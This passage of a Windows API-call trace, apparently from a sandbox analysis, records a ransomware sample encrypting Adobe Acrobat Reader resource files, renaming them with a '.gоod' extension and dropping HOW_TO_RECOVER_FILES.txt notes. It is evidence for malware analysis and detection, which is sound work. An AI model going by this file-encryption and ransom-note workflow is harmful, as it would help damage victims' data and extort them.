DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account-select\\css\\main.css", lpFilePart=0x0) returned 0x7e [0226.974] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec630) returned 1 [0226.974] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account-select\\css\\main.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account-select\\css\\main.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0226.974] GetFileType (hFile=0x630) returned 0x1 [0226.974] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec5a0) returned 1 [0226.974] GetFileType (hFile=0x630) returned 0x1 [0226.974] ReadFile (in: hFile=0x630, lpBuffer=0x384c428, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203ec708, lpOverlapped=0x0 | out: lpBuffer=0x384c428*, lpNumberOfBytesRead=0x203ec708*=0x1000, lpOverlapped=0x0) returned 1 [0227.142] CloseHandle (hObject=0x630) returned 1 [0227.142] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account-select\\css\\main.css", nBufferLength=0x105, lpBuffer=0x203ec110, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account-select\\css\\main.css", lpFilePart=0x0) returned 0x7e [0227.142] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec630) returned 1 [0227.142] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account-select\\css\\main.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account-select\\css\\main.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0227.142] GetFileType (hFile=0x630) returned 0x1 [0227.142] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec5a0) returned 1 [0227.142] GetFileType (hFile=0x630) returned 0x1 [0227.142] WriteFile (in: hFile=0x630, lpBuffer=0x36b9da8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x203ec7b8, lpOverlapped=0x0 | out: lpBuffer=0x36b9da8*, lpNumberOfBytesWritten=0x203ec7b8*=0x1010, lpOverlapped=0x0) returned 1 [0227.143] CloseHandle (hObject=0x630) returned 1 [0227.143] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account-select\\css\\main.css", nBufferLength=0x105, lpBuffer=0x203ec260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account-select\\css\\main.css", lpFilePart=0x0) returned 0x7e [0227.143] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account-select\\css\\main.css.gоod", nBufferLength=0x105, lpBuffer=0x203ec260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account-select\\css\\main.css.gоod", lpFilePart=0x0) returned 0x83 [0227.143] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec6f0) returned 1 [0227.143] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account-select\\css\\main.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account-select\\css\\main.css"), fInfoLevelId=0x0, lpFileInformation=0x203ec7d0 | out: lpFileInformation=0x203ec7d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x8399e4fa, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x27b1)) returned 1 [0227.143] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec6b0) returned 1 [0227.143] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account-select\\css\\main.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account-select\\css\\main.css"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account-select\\css\\main.css.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account-select\\css\\main.css.gоod")) returned 1 [0227.144] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account-select\\css\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x203ec3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account-select\\css\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x8e [0227.144] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec8f0) returned 1 [0227.144] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account-select\\css\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account-select\\css\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x630 [0227.145] GetFileType (hFile=0x630) returned 0x1 [0227.145] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec860) returned 1 [0227.145] GetFileType (hFile=0x630) returned 0x1 [0227.146] WriteFile (in: hFile=0x630, lpBuffer=0x3788c48*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x203ec9b8, lpOverlapped=0x0 | out: lpBuffer=0x3788c48*, lpNumberOfBytesWritten=0x203ec9b8*=0x5d0, lpOverlapped=0x0) returned 1 [0227.147] CloseHandle (hObject=0x630) returned 1 [0227.147] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec980) returned 1 [0227.147] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account-select\\js", nBufferLength=0x105, lpBuffer=0x203ec420, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account-select\\js", lpFilePart=0x0) returned 0x74 [0227.147] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account-select\\js\\*", lpFindFileData=0x203ec6a0 | out: lpFindFileData=0x203ec6a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b160 [0227.148] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.148] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x9d6b, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugin.js", cAlternateFileName="")) returned 1 [0227.148] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0227.148] FindClose (in: hFindFile=0x134b160 | out: hFindFile=0x134b160) returned 1 [0227.148] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec8c0) returned 1 [0227.148] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec880) returned 1 [0227.148] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec980) returned 1 [0227.148] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account-select\\js", nBufferLength=0x105, lpBuffer=0x203ec420, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account-select\\js", lpFilePart=0x0) returned 0x74 [0227.148] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account-select\\js\\*", lpFindFileData=0x203ec6a0 | out: lpFindFileData=0x203ec6a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134abc0 [0227.149] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.149] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x9d6b, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugin.js", cAlternateFileName="")) returned 1 [0227.149] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x9d6b, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugin.js", cAlternateFileName="")) returned 0 [0227.149] FindClose (in: hFindFile=0x134abc0 | out: hFindFile=0x134abc0) returned 1 [0227.149] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec8c0) returned 1 [0227.149] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec880) returned 1 [0227.149] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account-select\\js\\plugin.js", nBufferLength=0x105, lpBuffer=0x203ec260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account-select\\js\\plugin.js", lpFilePart=0x0) returned 0x7e [0227.149] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec730) returned 1 [0227.149] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account-select\\js\\plugin.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account-select\\js\\plugin.js"), fInfoLevelId=0x0, lpFileInformation=0x37989c0 | out: lpFileInformation=0x37989c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x9d6b)) returned 1 [0227.150] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec6f0) returned 1 [0227.150] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account-select\\js\\plugin.js", nBufferLength=0x105, lpBuffer=0x203ec110, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account-select\\js\\plugin.js", lpFilePart=0x0) returned 0x7e [0227.150] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec630) returned 1 [0227.150] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account-select\\js\\plugin.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account-select\\js\\plugin.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0227.150] GetFileType (hFile=0x630) returned 0x1 [0227.150] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec5a0) returned 1 [0227.150] GetFileType (hFile=0x630) returned 0x1 [0227.150] SetFilePointer (in: hFile=0x630, lDistanceToMove=4096, lpDistanceToMoveHigh=0x203ec788*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x203ec788*=0) returned 0x1000 [0227.150] ReadFile (in: hFile=0x630, lpBuffer=0x3798ea8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203ec758, lpOverlapped=0x0 | out: lpBuffer=0x3798ea8*, lpNumberOfBytesRead=0x203ec758*=0x1000, lpOverlapped=0x0) returned 1 [0227.152] CloseHandle (hObject=0x630) returned 1 [0227.152] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account-select\\js\\plugin.js", nBufferLength=0x105, lpBuffer=0x203ec110, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account-select\\js\\plugin.js", lpFilePart=0x0) returned 0x7e [0227.152] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec630) returned 1 [0227.152] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account-select\\js\\plugin.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account-select\\js\\plugin.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0227.152] GetFileType (hFile=0x630) returned 0x1 [0227.152] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec5a0) returned 1 [0227.152] GetFileType (hFile=0x630) returned 0x1 [0227.152] SetFilePointer (in: hFile=0x630, lDistanceToMove=0, lpDistanceToMoveHigh=0x203ec788*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x203ec788*=0) returned 0x9d6b [0227.152] WriteFile (in: hFile=0x630, lpBuffer=0x379a1a8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x203ec678, lpOverlapped=0x0 | out: lpBuffer=0x379a1a8*, lpNumberOfBytesWritten=0x203ec678*=0x10, lpOverlapped=0x0) returned 1 [0227.153] CloseHandle (hObject=0x630) returned 1 [0227.153] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account-select\\js\\plugin.js", nBufferLength=0x105, lpBuffer=0x203ec110, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account-select\\js\\plugin.js", lpFilePart=0x0) returned 0x7e [0227.153] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec630) returned 1 [0227.154] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account-select\\js\\plugin.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account-select\\js\\plugin.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0227.154] GetFileType (hFile=0x630) returned 0x1 [0227.154] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec5a0) returned 1 [0227.154] GetFileType (hFile=0x630) returned 0x1 [0227.154] ReadFile (in: hFile=0x630, lpBuffer=0x379c4d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203ec708, lpOverlapped=0x0 | out: lpBuffer=0x379c4d0*, lpNumberOfBytesRead=0x203ec708*=0x1000, lpOverlapped=0x0) returned 1 [0227.182] CloseHandle (hObject=0x630) returned 1 [0227.182] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account-select\\js\\plugin.js", nBufferLength=0x105, lpBuffer=0x203ec110, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account-select\\js\\plugin.js", lpFilePart=0x0) returned 0x7e [0227.182] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec630) returned 1 [0227.182] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account-select\\js\\plugin.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account-select\\js\\plugin.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0227.182] GetFileType (hFile=0x630) returned 0x1 [0227.182] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec5a0) returned 1 [0227.182] GetFileType (hFile=0x630) returned 0x1 [0227.182] WriteFile (in: hFile=0x630, lpBuffer=0x379b1c0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x203ec7b8, lpOverlapped=0x0 | out: lpBuffer=0x379b1c0*, lpNumberOfBytesWritten=0x203ec7b8*=0x1010, lpOverlapped=0x0) returned 1 [0227.182] CloseHandle (hObject=0x630) returned 1 [0227.717] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account-select\\js\\plugin.js", nBufferLength=0x105, lpBuffer=0x203ec260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account-select\\js\\plugin.js", lpFilePart=0x0) returned 0x7e [0227.717] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account-select\\js\\plugin.js.gоod", nBufferLength=0x105, lpBuffer=0x203ec260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account-select\\js\\plugin.js.gоod", lpFilePart=0x0) returned 0x83 [0227.719] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec6f0) returned 1 [0227.719] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account-select\\js\\plugin.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account-select\\js\\plugin.js"), fInfoLevelId=0x0, lpFileInformation=0x203ec7d0 | out: lpFileInformation=0x203ec7d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x839eaa79, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x9d7b)) returned 1 [0227.720] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec6b0) returned 1 [0227.720] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account-select\\js\\plugin.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account-select\\js\\plugin.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account-select\\js\\plugin.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account-select\\js\\plugin.js.gоod")) returned 1 [0227.761] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account-select\\js\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x203ec3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account-select\\js\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x8d [0227.761] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec8f0) returned 1 [0227.761] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account-select\\js\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account-select\\js\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x864 [0227.762] GetFileType (hFile=0x864) returned 0x1 [0227.762] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec860) returned 1 [0227.762] GetFileType (hFile=0x864) returned 0x1 [0227.763] WriteFile (in: hFile=0x864, lpBuffer=0x398b588*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x203ec9b8, lpOverlapped=0x0 | out: lpBuffer=0x398b588*, lpNumberOfBytesWritten=0x203ec9b8*=0x5d0, lpOverlapped=0x0) returned 1 [0227.764] CloseHandle (hObject=0x864) returned 1 [0227.764] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account-select\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x203ece00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account-select\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x8a [0227.764] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ed320) returned 1 [0227.764] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account-select\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account-select\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x864 [0227.764] GetFileType (hFile=0x864) returned 0x1 [0227.764] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ed290) returned 1 [0227.764] GetFileType (hFile=0x864) returned 0x1 [0227.765] WriteFile (in: hFile=0x864, lpBuffer=0x398ef00*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x203ed3e8, lpOverlapped=0x0 | out: lpBuffer=0x398ef00*, lpNumberOfBytesWritten=0x203ed3e8*=0x5d0, lpOverlapped=0x0) returned 1 [0227.766] CloseHandle (hObject=0x864) returned 1 [0227.767] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ed3b0) returned 1 [0227.767] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc", nBufferLength=0x105, lpBuffer=0x203ece50, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc", lpFilePart=0x0) returned 0x64 [0227.767] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\*", lpFindFileData=0x203ed0d0 | out: lpFindFileData=0x203ed0d0*(dwFileAttributes=0x10, 